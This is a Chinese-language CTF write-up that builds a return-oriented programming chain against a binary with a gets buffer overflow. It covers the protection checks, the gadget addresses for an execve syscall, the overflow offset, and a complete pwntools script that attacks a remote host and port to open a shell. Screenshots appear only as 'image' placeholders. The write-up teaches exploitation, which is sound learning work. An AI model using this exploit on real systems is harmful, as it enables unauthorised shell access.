堆ROP題目

Author:堇姬

確認保護

image
看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。
另外他有開NX,所以沒辦法寫shellcode
image

分析ASM

image
有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP

堆ROP

  • execve('bin/sh')
暫存器
rax 0x3b
rdi 要執行的參數值(/bin/sh)
rsi argv(這裡=0)
rdx envp(這裡=0)
  • stack
pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall

ROPgadget找位置

暫存器 位置 要蓋的值
pop rax ;ret 0x4516a7 0x3b
pop rdi ;ret 0x4018c2 0x4c3300
pop rsi ;ret 0x40f21e 0
pop rdx ;ret 0x4017cf 0
syscall 0x4012d3

image

image

image

image

image

輸入的shellcode存在0x4c3300
image

要蓋0x70+0x8然後開始ret
image

Script

from pwn import * r=remote('23.146.248.20', 10009) #r=process('rop0') shellcode_addr=0x004c3300 context.arch='amd64' ROPvar={ 'shellcode':b"/bin/bash\x00", 'pop_rax_ret':0x4516a7, 'pop_rdi_ret':0x4018c2, 'pop_rsi_ret':0x40f21e, 'pop_rdx_ret':0x4017cf, 'syscall':0x4012d3 } STACKvar={ 'rax_var':0x3b, 'rdi_var':shellcode_addr, 'rsi_var':0, 'rdx_var':0, } padding=0x70+0x8 payload=b"a"*padding+flat(ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rdx_ret'], STACKvar['rdx_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['syscall']) r.sendline(ROPvar['shellcode']) r.sendline(payload) r.interactive()